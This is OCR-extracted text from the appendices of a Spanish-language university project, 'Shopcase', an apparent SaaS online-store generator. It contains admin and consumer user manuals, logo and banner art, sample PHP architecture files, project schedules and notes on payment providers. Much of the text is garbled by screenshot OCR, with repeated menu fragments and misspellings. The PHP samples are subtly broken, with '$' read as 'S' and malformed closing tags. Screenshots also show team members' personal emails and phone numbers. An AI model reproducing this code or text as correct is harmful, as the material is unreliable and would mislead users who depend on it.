Diagramalb  Diagramalb.di..

=

Dibujo Dibujo
entidadpng examenl
Y

Nombre: |
¥ Siguients

Terminado

~ | Todos los archives A
Abrir Cancelar

m

%

__ Disefio conceptual de base... x

1

i

# B YSlow

3.Seleccione el tipo de anuncio que desea cargar y presione el botén de agregar anuncio.

shopcase

Inicio
Clientes

Manejo de érdenes
Configuracion
Estadisticas

Herramientas

Catalogo de productos

Seleccione una imagen:

Examinar_

Anuncio 1 © Anuncio 2 ©

Agregar Anuncio

Anuncio 1
(172 x 200)

Anuncio 2

(218 x 100)

Cerrar Sesion
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4 . Una vez cargadas las imagenes, estas le aparecerdn en las barras en la parte superior de
la pagina, puede elegir entre las distintas imagenes que ya tenga para cada uno de los

anuncios.

Cerrar Sesion

Herramientas de Adminitracion

Seleccione la imagen para el anuncio 1
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CATALOGO DE PRODUCTOS

Para manejar el catalogo de productos por favor haga clic en la opcién del menu llamada

“Catdlogo de productos” que aparece al lado izquierdo de la pantalla.

Cerrar Sesion

shopcase

Inicio

Clientes Categorias
Manejo de 6rdenes Categoria 1 [
super categoria
Configuracion nueva -
categoriasss (3
Estadisticas mfcdmfc =
Camisas .=
Herramientas pantalones -1
Catalogo de producios

A. Agregar una categoria.
1. Para agregar una categoria nueva, haga clic en el botén “Afadir una categoria” .

Cerrar Sesién

shopcase

Inicio

Clientes

Categorias

Manejo de Grdenes Categoria 1 |1

super categoria
nueva |
categoriasss 1
micdmic
Camisas (=
pantalones L

Afiadir Categoria

Configuracion

Estadisticas

Herramientas

Catalogo de productos
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2. Una categoria le permite clasificar el tipo de producto que va a pertenecer a la pagina,
por ejemplo: Si su pdagina va a ser de ropa, puede crear las categorias: camisas,

pantalones, zapatos, etc

Cerrar Sesién

shopcase

Inicio

Clientes

Agregar Categoria

Manejo de drdenes Nombre *
CEHEEEED Descripcién ™

Estadisticas

|Cataogo de productos |

+— Regresar

Dentro de cada categoria puede crear una sub categoria mas especifica.

Cerrar Sesién

shopcase

Categorias

Inicio

Pantalones cortos

Afiadir Sub-Categoria ‘

Inicio > pantalones

Clientes

Manejo de drdenes

Configuracion

pantalones

Estadisticas
Precio  Precio Ver Detall Modificar Mostrar
Base final SRS productos al cliente

Herramientas Nombre Descripcion

Catalogo de productos

Pantalon de mezclilla
marca Guess color negro

Pantalon Lois
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B. Modificar categorias

1. Haga click en el icono al lado de la categoria para modificarla.

Cerrar Sesion

shopcase

i Categorias

Pantalones cortos .5

Afadir Sub-Categoria

Inicio > pantalones

Clientes

Manejo de érdenes

Configuracion

Estadisticas pantalones

Precio  Precio Ver Detall Modificar Mostrar
Base final SfEelS productos al cliente

Pantalon de mezclilla Ver modificar
marca Guess color negro Detalle -

Herramientas Nombre Descripcion

Catalogo de productos

Pantalon Lois

2. Modifique el nombre o la descripcidn de la categoria, seglin sea necesario.

Cerrar Sesion

shop case

Inicio

G Modificar Categoria
Manejo de ordenes Nombre

l Pantalones cortos l
confguacien DEETad fl Pantalon corto l
Estadisticas
Herramientas

Cato s
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C. Anfadir productos

1. Haga clic en afiadir producto para agregar los productos dentro de cada categoria.

Cerrar Sesién

Categorias

Inicio

Pantalones cortos

Clientes

_ . Afiadir Sub-Categoria
Manejo de drdenes -

Inicio > pantalones

Configuracién
pantalones
Estadisticas
_ _ _ Precio  Precio Modificar Mostrar
Herramientas Nombre Descripcian Base final Ver Detalle productos Ao
Catalogo de productos Pantalon de mezclilla

D -

Afiadir Producto

Pantalon Lois

n

marca Guess color negro

— Regresar

2. Llenas los campos necesarios para completar la informacién de cada producto (nombre,
Descripcion, cantidad, precio y puede cargar imagenes.

Cenar Sesién

Agregar Producto

Categoria: pantalones

Hombre *|

Descripcion

Cantidad *[ ‘

TN | afadir descuento [

g

Mostrar products |_|Si

Afiadir més fotos

+ Regresar
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D. Ordenar productos

1. Las tablas de resultados de la busqueda pueden ser ordenadas, presionando el nombre

de la columna que desea ordenar (nombre, descripcion, precio base, precio final).

Cerrar Sesion

Categorias

Inicio
Clent Pantalones cortos ./
lientes
- Afiadir Sub-Categoria
Inicio > pantalones
‘Configuracién
pantalones
_ - - Precio  Precio Maodificar Mostrar
Herramientas Nombre Descripcidn Base final Ver Detalle e FlEe
de 08
Catalogo de product Pantalon de mezclilla 200 200

‘ Pantalon Lois

Ver ific NO
Tiit ‘ modificar ‘ o ‘
s’ —— G -

Afiadir Producto

marca Guess color negro

n

— Regresar

2. El administrador puede elegir la cantidad de resultados desplegados en una sola pagina,

y cambiar de pagina segun lo necesite.

Cerrar Sesion

iy Categorias

Pantalones cortos

Clientes .
B dir Sub-Categoria

Inicio > pantalones
Configuracién

pantalones

Precio Precio . oo Modificar Mostrar
Base final productos  al cliente

Pantalon de mezclilla v -
Pantalon Lois G modificar
marca Guess color negro etalle

Afiadir Producto

Nombre Descripcidn

— Regresar
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E. Pasos para mostrary dejar de mostrar el producto en el catalogo.

1. Hacer clic en la x roja que se encuentra en la misma fila del producto que se desea
mostrar/no mostrar. Esta se encuentra en la tabla de categorias, en la columna llamada mostrar

al cliente.

Cerrar Sesion

Categorias

Inicio
Clent Pantalones cortos ./
lientes
- Afiadir Sub-Categoria
Inicio > pantalones
‘Configuracién
pantalones
_ - - Precio  Precio Maodificar Mostrar
Herramientas Nombre Descripcidn Base final Ver Detalle productos FlEe
Catalogo de productos Pantalon de mezclilla

Pantalon Lois

Ver e NO
Detalle modificar i
D -

Afiadir Producto

marca Guess color negro

n

— Regresar

F. Ver detalles de cada producto.

1. Haga clic en ver detalle para ver la informacién y fotografia de cada producto.

Cerrar Sesion

iy Categorias

Pantalones cortos

Clientes H
ETEma i Afiadir Sub-Categoria

Inicio > pantalones
Configuracién

pantalones

Precio Precio Modificar [UGERETS
- Ver Detalle ~
Base nal productos al cliente

Pantalon Lois PouEiE ek 2 200 Lz modificar NO
marca Guess color negro Detalle (%]

Afiadir Producto

Nombre Descripcitn

— Regresar
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2. Al ingresar, le despliega informacion extra al producto que se encuentra en la tabla,
como disponibilidad e imagenes.

Cerrar Sesion

shopcase

Inicio
Inicio > pantalones

Clientes
Nombre
Manejo de drdenes Pantalon Lois
Configuracién Descripcion
Pantalon de mezclilla marca Guess color negro
Estadisticas .
Precio
Herramientas Q.200
C Di ibl
Iogodeplodudos iIsponibles

20

Descuento
Q.o

Al seleccionar la imagen del producto, le desplegara laimagen completa.

Cerrar Sesién

Inicio
Nombre

Clientes Pantalon Lois

Descripcion
Pantalon de mezclilla marca Guess color negro

Manejo de érdenes

Configuracién
s Precio
Estadisticas Q.200
Herramientas glllspom bles

Catalogo de productos

Descuento
Q.o
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G. Modificar informacidn de productos.

1. Haga clic en modificar para cambiar la informacién de cada producto.

Cerrar Sesién

Categorias

Inicio

Pantalones cortos

Clientes

Manejo de drdenes

Inicio > pantalones

Configuracién
pantalones
Estadisticas
_ _ _ Precio  Precio Modificar Mostrar
Herramientas Nombre Descripcidn Base final Ver Detalle productos e
Catalogo de productos Pantalon de mezclilla

Pantalon Lois

n

Ver _ NO
|

Afiadir Producto

marca Guess color negro

— Regresar

2. Modifique el nombre, la descripcidn, cantidad en existencia, precio, tipo de descuento

gue le desea aplicar al producto y cambie las imagenes del producto segln lo desee.

Nambre T pertalon Lo |

E 0 e=cEac Pantalon de mezclilla marca
e -~ Guess color negzo -
Estagisticas
Herramientas Cantidad:20
Afiadir existenci [0 |
Catalogo de productos.

Precio(Q) *[

Tipo de descuento

O porcentaje

i

Descuento *

(* Campo Requerido)
Seleccione la imagen principal para el producto
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IV. MANEJO DE ADMINISTRADORES

Para manejar administradores del sitio por favor haga clic en la opcidn del menu llamada
“Manejo de administradores” que aparece al lado izquierdo de la pantalla. Permite crear nuevas
cuentas de administradores para realizar operaciones y permite modificar los permisos de cada

uno de los administradores.

Cerrar Sesién

Inicio
Clientes = e
Administradores del sitio
Manejo de ordenes
Nivel 1: Permiso para modificar catdlogo
Configuracion Nivel 2: Permiso para modificar ordenes y consumidores
Nivel 3: Permiso para realizar cada una de las operaciones anteriores, generarar reportes y crear/modificar cuentas de administrador.
Estadisticas
Nombre Teléfono Correo electronico Habilitado Permisos
Herramientas . -
—————— marcucci, gustavo 23456789 gustavo.marcucci45@gmail.com lmpgz‘g\'ﬁ]gﬁ:&'ﬁ? el Adm'?]'ijg?g i 1
Catdlogo de productos
) Nivel 1
Manejo de marcucci, administrador | 2147483647 | gustavo.marcucci2@gmail.com @ Nivel 2
administradores ) Nivel 3
Nivel 1
, fdsfds dsa@das.com Nivel 2
Nivel 3

A. Ordenar administradores

1. Las tablas de resultados de la busqueda pueden ser ordenadas, presionando el nombre
de la columna que desea ordenar (nombre, teléfono, direcciéon, correo electrénico, pais y si esta

bloqueado o no).
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Administradores del sitio

Clientes
Manejo de drdenes Nivel 1: Permiso para modificar catélogo
Nivel 2: Permiso para modificar ordenes y consumidores
Nivel 3: Permiso para realizar cada una de las operaciones anteriores, generarar reportes y crearimodificar cuentas de administrador.
Estadisticas Nombre: Teléfono Correo ele Habiltado
Herramientas.
Catalogo de productos
Manejo de
administradores marcuccl, administrador | 2147483647 | gustavo marcuccl2@gmail com

sdkefopdkvspodk,

kdskvmdslkvmg 23458788 gdfsd@notmail.com 0

Imposiole bioquear al Administrador de
administrador nivel 3

marcucci, gustavo 23456788 | gustavo.marcuccié5@gmai.com

Imposible bloguear al Administrador de

Marcucci, Gustavo ustavo.marcucci@gmail.com |
c - adminisirador nivel 3

2. El administrador puede elegir la cantidad de resultados desplegados en una sola pagina, y

cambiar de pagina segun lo necesite.

Administradores del sitio

Nivel 1: Permiso para modificar catlogo
Nivel 2: Permiso para modificar ordenes y consurmidores.

Configuracion Nivel 3: Permiso para realizar cada una de las operaciones anteriores, generarar reportes y crear/modificar cuentas de administrador.

Estadisticas Nembre Teléfono Correo ele Habiltado

Herramientas

Catdlogo de productos.

Hanep de E

marcucci, administrador | 2147483647 | gustavo.marcucc2@gmail.com ]

sdkcfopdkvspodk,

kdskvmdslkvmg 22456768 gdfsd@hotmail.com ]

imposible bloquear al Administrador de

marcucci, gustavo 23456789 | gustavo.marcucciéS@gmail.com administrador nivel3

imposible bloquear al Administrador de

Marcucci, Gustavo ustavo marcucci@gmai.com |
; = Qg administrador nivel

B. Bloquear administradores

1. Si tiene maximos permisos de administrador, puede cambiar los permisos de los

administradores con menos nivel de permisos.
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Administradores del sitio

Clientes
Manejo de drdenes Nivel 1: Permiso para modificar catélogo
Nivel 2: Permiso para modificar ordenes y consumidores
Nivel 3: Permiso para realizar cada una de las operaciones anteriores, generarar reportes y crearimodificar cuentas de administrador.
Estadisticas Nombre: Habiltado
Herramientas.
Catalogo de productos
Manejo de
administradores marcuccl, administrador | 2147483647 | gustavo marcuccl2@gmail com

sdkefopdkvspodk,

kdskvmdslkvmg 23458788 gdfsd@notmail.com 0

Imposiole bioquear al Asmmistrador oz

marcucei, gustavo 23456769 | qustavo.marcucci4S@gmal.com
= < < administrador nivel 3

Imposible bloguear al Administrador de
administrador nivel 3

@ -

Marcucci, Gustavo gustave.marcucci@gmail.com

Si los administradores son del mismo nivel, no se pueden cambiar los permisos uno al otro.

C. Habilitar administradores

1. Si tiene maximos permisos de administrador, puede habilitar o deshabilitar las cuentas

de los administradores con menos nivel de permisos.

Inicio

Administradores del sitio

Clientes.

Waneio de drdenes Nivel 1: Permiso para modificar catalogo
Nivel 2: Permiso para modificar ordenes y consumidores
Configuracion Nivel 3; Permiso para realizar cada una de las operaciones anteriores, generarar reportes v crearimedificar cuentas de administrador.

Estadisticas

Nombre Teléfono Habiitado
Herramientas
Catilogo de productos.

Manepo de

n

marcucci, administrador | 2147483647 | gustavo.marcucciZ@gmail com

sdkcfopdkvspodk,

Pt 23456768 gdfsd@nhotmail.com B

imposible bloquear al Agminstragor e

marcucei, qustavo 23456789 | qustavo.marcucci45@gmail.com dminstrader ks

Imposiole bioquear al Administrador de
administrador nivel 3

o -

Warcucci, Gustavo gustavo. marcucci@gmai.com

Si los administradores son del mismo nivel, no se pueden habilitar o deshabilitar uno al

otro.
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D. Agregar administradores

1. Para agregar administradores haga clic en Agregar nuevo administrador.

Nivel 1: Permiso para modificar catslogo

Clientes Nivel 2: Permiso para modificar ordenes y consumidores
Nivel 3: Permiso para realizar cada una de |as OpEracionss anteriorss, generarar reportes y crearmodificar cugntas de administrador. |
Manejo de drdenes
- Nombre Teléfono Correo electronico Habiltado Permisos.
Herramientas
Catlogo de productos. marcucci, administrador | 2147483647 | gustavo.marcucci2@gmail.com
Manejo de

sdkcfopdkvspodk,

Pt 23456768 gdfsd@nhotmail.com B

i

imposible bloquear al Administrador de
administrador nivel 3

marcucei, qustavo 23456789 | qustavo.marcucci45@gmail.com

imposible bioquear al Administrador de

Marcuce, Gustavo ustavo. marcucci@gmai.com
; e @9 administrador nivel 3

2. Llene los campos necesarios para completar la informacién de cada administrador

(nombre, apellido, teléfono, correo electrénico contraseia y especifique los permisos que va a
tener.

Cenar Sesién

Agregar Administrador

Nnmhre“ ‘
Configuracion Ape“m.‘ ‘
Estadisticas. Taléﬁmn“ ‘
e Corren abectmmcn“ ‘
Contraseiia * ‘

Catalogo de productos

Confirmar Contrasefia ‘}

@) permiso para modificar catélogo
ermiso para manejar consumidores y ordenes.
() Permiso para manejar administradores, catéloge, consumidores y érdenes

(* Campo Requerido)
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D. Manual de usuario — Mddulo para el Consumidor

El administrador para consumidores es una herramienta exclusiva para el uso de los
consumidores de los clientes del sistema Shopcase. Muestra informacion relevante de datos
personales, érdenes, datos de pago y direcciones registradas. También permite edicion vy

eliminacidn de cierta informacién pertinente a cada consumidor.

1. Indice
e Introduccidn
e Seccion de datos personales
o Consulta de informacidn
o Edicidn de informacidn
= Edicidn de contrasefia
e Seccion de manejo de érdenes
o Consultar érdenes
o Verdetalles
= Cambiar estado
o Buscar orden
e Seccidon de datos de pago
o Consultar tarjetas de crédito registradas
o Editar datos de una tarjeta de crédito registrada
o Registrar nueva tarjeta de crédito
= Asociar direccion a la tarjeta
o Eliminar tarjeta de crédito registrada
e Seccion de direcciones
o Consultar direcciones registradas
o Editar datos de una direccidn registrada

o Eliminar direccidn registrada
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2. Introducciéon. Este manual permitird al usuario aprender a utilizar todas las
funcionalidades basicas del médulo de administrador para consumidores del sistema
Shopcase. Mostrara imagenes del sistema para aclarar mejor la interaccién con el mismo y

brindara enlaces para su acceso a través de un servidor web.

¢Coémo acceder al administrador para consumidores?

Para tener acceso a este médulo es necesario ser un consumidor registrado en alguna
empresa/portal de venta de Shopcase; es decir, se debe pasar primero por una etapa de registro
y posteriormente por una etapa de autenticacién dentro de alguno de los portales de venta de

los clientes del sistema.
Via interaccién con la vista

Después de estar correctamente autenticado, el portal de venta mostrara una seccién de
acceso al médulo en la parte superior derecha de la pantalla (en el extremo derecho del menu

horizontal de navegacion principal).
Via URL

Una forma alternativa de acceder al médulo de administrador de consumidores es a través
del URL compuesto por:

http://shopcase.freetzi.com/shopcaseShowRemoto/EMPRESA/consumer_admin.php

En caso de no estar autenticado, al ingresar el URL anterior se mostrara un mensaje que
pida la autenticacién del consumidor primero. En caso de estar autenticado el médulo estara

disponible.

NOTA: La autenticacioén se verifica a través de la una sesion en el explorador. Media vez se
borren los datos de la sesidn o transcurra una cantidad considerable de tiempo, la autenticacién

dejara de ser vélida.



383

3. Seccién de Datos Personales

a. Consulta de Informacién. Para consultar la informacion de los datos personales haga

click en la seccién “Datos Personales”.

b. Edicion de Informacién. Después de ingresar a la seccién de Datos Personales,
los datos se presentaran en cajas de texto editables. Después de realizar las
modificaciones que deseen hacer click en el botén “Actualizar”. Una notificacién mostrara si la

actualizacion se realizé correctamente.

c. Edicion de Contrasenfa, Para cambiar la contrasefia un botéon de “Cambiar
contrasefia” se encuentra en la seccion de Datos Personales. Presionar el botdn,
ingresar la contrasefia antigua y dos veces la nueva contrasefia, y presionar Actualizar. Una

notificacion mostrara si la actualizacion se realizd correctamente.

4. Seccién de Manejo de Ordenes

a. Consultar érdenes. Para consultar la informacion de las érdenes realizadas haga
click en la seccién “Manejo de Ordenes”. Las 6rdenes se mostraran en una tabla.
b. Ver detalles. Cierta informacidn de las érdenes se mostrard en una tabla. Para
ver mas detalles de cada orden haga click en el botén “Ver detalle” respectivo a

cada orden.

c. Cambiar estado. Para modificar el estado de una orden debe ingresar en “Ver

detalle”. Solamente puede cambiar el estado de una orden de la siguiente forma:

e Sila orden se encuentra en estado ‘ENVIADA’ puede cancelarla presionando el botén de
“Cancelar Orden”. La orden pasara a un estado ‘CANCELADA'.

e Sila orden se encuentra en estado ‘EN PROGRESO’ puede cancelarla presionando el
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boton de “Cancelar Orden”. La orden pasard a un estado ‘CANCELADA’ y se borrard

completamente del sistema.

d. Buscar orden. La tabla que muestra las diferentes drdenes que un consumidor ha
realizado puede filtrarse por diferentes criterios seleccionando uno del menu

desplegable. Los criterios son:

e Estado
e Fecha
e Total

e Tipode Pago

e Tipo de Envio

Después de seleccionar el criterio puede ingresar una palabra clave en la caja de texto y
luego presionar el botdén “Buscar”. La tabla mostrard ahora solamente las drdenes que incluyan

la palabra ingresada en el campo del criterio que se selecciond.
5. Seccidn de Datos de Pago

a. Consultar tarjetas de crédito registradas. Para consultar la informacién de los datos

de pago haga click en la seccidn “Datos de Pago”. Las tarjetas de crédito registradas

se mostrardan comprimidas en marcos desplegables. La informacidon comprimida de cada tarjeta
de crédito solamente mostrard el tipo de tarjeta (VISA, American Express, Master Card, etc.), los
ultimos cuatro digitos del nimero de la tarjeta y el nombre registrado en la tarjeta de crédito.
Para desplegar toda la informacién haga click en el encabezado (informacién visible) y el menu

se expandira.

b. Editar datos de una tarjeta de crédito registrada. Haga click en el encabezado
(informacion visible), el menu se expandira y mostrard dos botones: “Editar” vy

“Borrar”. Haga click en el boton “Editar”. Los datos relacionados con la tarjeta de crédito se
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mostraran en cajas de texto editables. Modifique la informacién que desee y presione

Actualizar. Una notificacion mostrara si la actualizacion se realizd correctamente.

c. Registrar nueva tarjeta de crédito. Para agregar una nueva tarjeta de crédito a la

lista presione “Agregar Nueva Tarjeta de Crédito”. Ingrese los datos de la tarjeta de

crédito y presione “Seleccionar Direccidon” para asociar una direccién a la tarjeta. Se mostraran
todas las direcciones que se tienen registradas en el sistema (ver Seccidon Direcciones).
Seleccione una direccion de la lista y presione “Escoger esta direccion”. También puede agregar
una nueva direccién presionando “agregar una nueva direccidon”, ingresando los datos vy
presionando “Agregar Direccién”. Después regresard a los datos de la nueva tarjeta, presione
“Agregar Tarjeta” cuando tenga todos los datos ingresados. Una notificacion mostrara si la

actualizacion se realizé correctamente.

d. Eliminar tarjeta de crédito registrada. Haga click en el encabezado (informacién
visible), el menu se expandird y mostrara dos botones: “Editar” y “Borrar”. Haga
click en el botéon “Borrar”. Una notificacién mostrard si la tarjeta de crédito se borré

correctamente.

6. Seccion de Direcciones

a. Consultar direcciones registradas. Para consultar la informacién de las direcciones
registradas haga click en la seccidén “Direcciones”. La informacidon comprimida de
cada direccidn solamente mostrard el nombre asociado a la direccién y la direccion registrada.

Para desplegar toda la informacién haga click en el encabezado (informacion visible).

b. Editar datos de una direccién registrada. Haga click en el encabezado (informacidn

visible), el menu se expandira y mostrara dos botones: “Editar” y “Borrar”. Haga

click en el boton “Editar”. Los datos relacionados con direccidn se mostraran en cajas de texto
editables. Modifique la informacién que desee y presione Actualizar. Una notificacién mostrara

si la actualizacion se realizd correctamente.
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c. Eliminar direccion registrada. Haga click en el encabezado (informacién visible), el
menu se expandird y mostrard dos botones: “Editar” y “Borrar”. Haga click en el

botdn “Borrar”. Una notificacidon mostrara si la direccién se borré correctamente.

E. Logotipo y artes del Megaproyecto.

1. Logotipos
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shop case
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SNOP Case

2. Hojas membretadas:

N1 "\ =
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3. Plantillas para presentaciones de Power Point

shopcase

E-commerce made easy

4. Tarjetas de presentacion

g

shop case

Nombre Apellido
Puesto
(502) 77777777 email@shopcase.net

3ra. Avenida 8-90, Zona 14, Guatemala, C.A. 01010 Soluciones de comercio electronico para PYMES

http://www.shopcase.net
http://www.facebook.com/shopcase
http://www.twitter.com/shopcase




5. Mantas promocionales

11 1 1

: J MEGAPROYCTO
ShOp case SCienciasidejlaiComputacion

Sistema generador de portales de
venta en linea en modelo SaaS

- Alternativa de comercio electrénico para PYMES
- SaaS: Software as a Service

00 Cz<= Ciencias de la Computacion

E-commerce made easy

Sistema generador de portales de venta
en lineaen modelo SaaS

Juan Corzo Julio David uis Guzm: Gustavo Marcucci Vinicio Paz

F. Archivos de arquitectura.

A continuacion se muestra una estructura sencilla de archivos que se podria utilizar para

implementar un programa o sistema con una arquitectura similar a la que utiliza el

Megaproyecto.

1. Dummy:

dummy/index.php

<?php

require_once('config.php');
include('../core/inventory_view.php');

Sinventory = new Inventory(Sdomain, SdomainName, Stitle);
Sinventory->show();

>

389
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2. Archivos de configuracion:

config.xml

<?xml version="1.0" encoding="1SO-8859-1"?>
<content>

<name>dummy</name>

<title>Shopcase</title>
<domain>1</domain>
</content>

config.php

<?php

SobjDOM = new DOMDocument();

SobjDOM->load("config.xml");

Sdomain = SobjDOM->getElementsByTagName("domain")->item(0)->nodeValue;
SdomainName = SobjDOM->getElementsByTagName("name")->item(0)->nodeValue;
Stitle = SobjDOM->getElementsByTagName("title")->item(0)->nodeValue;

>

3. Vista:

<IDOCTYPE html| PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.0org/TR/xhtml|1/DTD/xhtml1-strict.dtd">

<html xmIns="http://www.w3.0rg/1999/xhtml" dir="Itr" lang="es-ES">
<head>

<?php include 'components/favicon.php';?>

<?php include 'components/headers.php'?>
</head>
<body>
<div id="header">
<?php
include "components/main_header.php";
>

</div>

<div id="container">
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<div id="center" class="column">
<?php include "components/items_in_category.php"; ?>
</div>
<div id="left" class="column">
<?php include "components/vertical_menu.php";?>
</div>
<div id="right" class="column">
<?php include "components/cart.php"; ?>
</div>
</div>
<div id="footer">
<?php include "components/footer.php"; ?>
</div>
</body>
</html>

4. Controlador:

inventory.php
<?php

if (!(class_exists('DBManager')))

include ('DBManager.php');

class Inventory

{
function show()
{
Sdomain = Sthis->domain;
Stitle = Sthis->title;
require_once('../core/index.php');
}
}

>
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. .7
G. Calendarizacion
Semestre 1
[o] Task Name | Duration Start | Finish Predecessors Resource Names
1
2 Especificacion funcional 31 days? Fri 6/26/09 Fri 8/7/09 corzo y gustavo
3 o carrito 16 days Fri7/10/08 Fri 7/31/09
4 [ administracion 16 days Fri 7/10/09 Fri 7/31/09
5 o generador 5 days Mon 8/3/08 Fri 8/7/09 4
6 grupo de cliente 11 days Fri7/24/09 Fri 8/7/09
7 definicion pagos 21 days Fri7/10/09 Fri 8/7/09 erick
8 B Credomatic 6 days Fri 7/10/09 Fri 7/17/09
9 i Visanet y otros pagos USA, banco bi, iguama 11 days Fri 7/24/09 Fri 8/7/09
10 Alcance megaproyecto 6 days Fri7/24/09 Fri 7/31/09 Jjose paez
11 Definicion de proceso de negocio 11 days? Fri7/24/08 Fri 8/7/09 Julio David y Vinicio
12 |= Investigacion SAAS 17 days Fri 6/26/09 Fri 8/7/09 Luis Guzman
13
14 Proceso de Negocio 20 days? Fri7/24/09  Thu 8/20/09 Julio
15 |= Definicicn de proceso de negocio 10 days? Fri7/24/08 Fri 8/7/09
18 |[= Contrato General de Suscripcion 10 days? Fri 8/7/09 Thu 8/20/09
17 |= Presupuesto 10 days? Fri 8/7/09 Thu 8/20/09
18 [= Proceso Cliente 10 days? Fri 8/7/09 Thu 8/20/09
19
20 Investigacion 13 days?  Thu 8/13/09 Tue 9/1/09
21 - Senvice Oriented Architecture 13 days? Thu 8/13/09 Tue 9/1/09 Vinicio,Gustavo
22 |= Hostings 8 days? Thu 8/13/09 Tue 8/25/09 erick
23
24 Prototipos 37 days? Fri7/24/09  Tue 9/15/09
25 |= Prototipo Modulo Administrador 37 days? Fri7/24/08 Tue 9/15/09 Corzo
26 |= Buscar/Desarrollar nuevos templates 10 days? Tue 8/25/09 Tue 9/8/09 Luis Corzo
27
28 Creacion Arquitectura Teorica Multitenant 12 days? Mon 9/7/09  Tue 9/22/09
29 |= Presentacion Propuestas Arquitectura 11 days? Mon 9/7/09 Mon 8/21/08 Todos
30 |= Sesion brainstorming creacion esquema entidad-relacion 1 day? Tue 9/22/09 Tue 9/22/09 29 Todos
31
32 = Informacioh definitiva hostings dedicados 5days? Tue 9/22/09 Tue 9/28/09 erick
33 |= Creacion Flujo de Caja / Finalizar Presupuesto Prototipo / Empresa 5days? Tue 8/29/08 Tue 10/6/09/32 Julio
34 |= Definicion de Planes de Servicio 5days? Tue 9/29/09 Tue 10/6/09 Vinicio, Gustavo
35
36 Feria de Megaproyectos 11 days? Tue 10/6/09 Wed 10/21/09
37 |= Creacion de Logo y Manta 9 days? Tue 10/6/09 Fri 10/16/09 Luis
38 |= Creacion Presentaciones Megaproyecto y SAAS 9 days? Tue 10/6/09 Fri 10/16/09 Luis
39 |= Templates Administracion 9days? Tue 10/6/09 Fri 10/16/09 erick,Corzo
40 |= Templates Front-End 9days? Tue 10/6/09 Fri 10/16/09 Vinicio, Gustavo
41 o Presentacion en Feria 2days? Mon 10/19/08, Wed 10/21/09 37,38,39,40 Todos
42
43 Elaboracion de Informe Final 20 days Tue10/27/09 Tue 11/24/09
44 |= Reporte Modulo Asignado de Megaproyecto 10days Tue 10/27/09 Tue 11/10/09 Todos
45 |= Reporte de Actividades Durante el Semestre 10days Tue 10/27/08 Tue 11/10/09 Todos
46 |= Comparacion Shopcase vs Carrito Propio 10days Tue 10/27/08  Mon 11/9/09 Julio
47 o Revision Trabgjo Final 5days Tue 11/10/09) Tue 11/17/09/44,45,46 Jenniffer
48 |= Unfficacion, Ultimas Modificaciones y Entrega Final S5days Tue11/17/09) Tue 11/24/09 47 Todos
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Semestres 2y 3

ESemestre 1
Investigacdan Saas y Saa5 en Guatemals.
Investigacdn de portales de venta en lnea.
Desarrola conceptual de arquitectura de megaproyecto.
Presentacién de megaproyecto en feria de megaproyectos 2009,
Redacadn de reporte final.

ESemestre 2
Defiracidn de dases para arguitectura de megaproyects.
Prugbas de unidad de arquitectura de megaproyecto.
Creacién de dases y disgramas para mddulo de portal de vents en insa.
Desarrola de mddulo de portal de venta en lnea,
Creacidn de dases y diagramas para médulo de portal de venta en linea.
Desarrola de mddulo generador de portales.
Integraadn con otres mbduos del megaproyects.
Presentacidn de megaproyectn 8 director de departamento.
Redaccdn de reporte final.

B Semestre 3
Prusbas de velocidad y seguridad (fase 1).

Implementacidn de mejoras de seguridad y desemperfio mddulo de portal de ventas en linea.

Implementacidn de mejoras de seguridad y desempefio mddulo generadar de portales.
Pruebas de desemperio y seguridad (Fase 2.

Recoplacdn de datos de desempenio v seguridad v Gitimos sjustes de optmizacidn,
Cologuio grupal del megaproyecto.

Redacadn de trabaje final.

Evaluacidn de megaproyects indwvidual con terma examinadors,

Duration Start

70 days 7/13/09 8:00 AM
15 days 7/13/09 8:00 AM
15 days 8/3/09 3:00 AM
15 days 8/24/09 2:00 AM
15 days 9/14/09 8:00 AM
10 days 10/5/09 8:00 AM

100 days 1/11/10 8:00 AM
10 days 1/11/10 8:00 AM
10 days 1/25/10 8:00 AM

5 days 2/8/10 8:00 AM
20 days 2/15/10 8:00 AM

5 days 3/15/10 8:00 AM
20 days 3/22/10 8:00 AM
10 days 4/19/10 8:00 AM
10 days 5/3/10 8:00 AM
10 days 5/17/10 8:00 AM

66 days 7/12/10 B:00 AM
15 days 7/12/10 8:00 AM
10 days /2710 8:00 AM
10 darys §/16/10 8:00 AM

8 days 8/30/10 8:00 AM
S days 9/9/10 3:00 AM
5 days 9/16/10 8:00 AM
10 days 9/23/10 8:00 AM
3 days 10/7/10 8:00 AM

Finish

10/16/09 5:00 PHM
7/31/0% 5:00 PM
8/21/09 5:00 PM
9/11/0% 5:00 PM
10/2/05 5:00 PM
10/16/09 5:00 PM

5/28/10 5:00 PM
1/22/10 5:00 PM
2/5{10 5:00 PM
2/12/10 5:00 PM
31210 5:00 PM
3{15/10 5:00 PM
41610 5:00 PM
43010 5:00 PM
5/14/10 5:00 PM
5/28/10 5:00 PM

10/11/10 5:00 PM
7/30/10 5.00 PM
8/13/10 5:00 PM
8/27/10 5:00 PM
9/8/10 5500 PM
3/15/10 5:00 PM
3/22/10 5:00 PM
10/6/10 5:00 PM
101110 5:00 PM
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H. Informacidon de Pagos en Linea

Credomatic

1. CGI
El CGI es un script que proporciona Credomatic con el cual se realizan las transacciones via

tarjeta de crédito o débito.

Ventajas
En el largo plazo es mas barato ya que no se debe pagar una cuota mensual para mantener el

servicio ni se debe pagar un recargo por transaccion realizada.

Desventajas
1. El pago de depdsito es alto por lo que se debe juntar mas dinero al inicio del contrato.
2. El servicio se presta mucho al fraude ya que es imposible, tanto para la empresa que
vende como para Credomatic, saber quién estd efectuando las compras y por ende

saber si el propietario de la tarjeta es el que hizo la transaccidn.

Costo

Se debe hacer un pago Unico de depésito de $ 5000.00.

2. 3D Secure
3D Secure se maneja como un web service con el que la empresa se conecta con Credomatic y

ellos realizan la transaccion.

Ventajas

Es mds seguro ya que Credomatic garantiza cada transaccion.
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Desventajas
1. Es mas caro ya que se debe pagar una cuota mensual y una cuota por
transaccion.

2. Es mas lento ya que se debe certificar cada transaccion.

Costo
1. Se debe hacer un pago de inscripcién al servicio de $125.00 (pago Unico)
2. Pago mensual por servicio: $50.00.
3. Pago por transaccion: $0.12.

Bl - en linea

Para utilizar el pago de servicios o productos por medio de Bl - en linea se debe cumplir con

ciertos requerimientos; estos requerimientos son:

1. Tener una cuenta con el banco industrial a nombre de la empresa.
2. Llenar los contratos correspondientes para Bl-Banking.

3. Que los clientes tengan cuenta en el banco industrial.

4. Patente de comercio de la empresa.

5. Papeleria completa del representante legal.

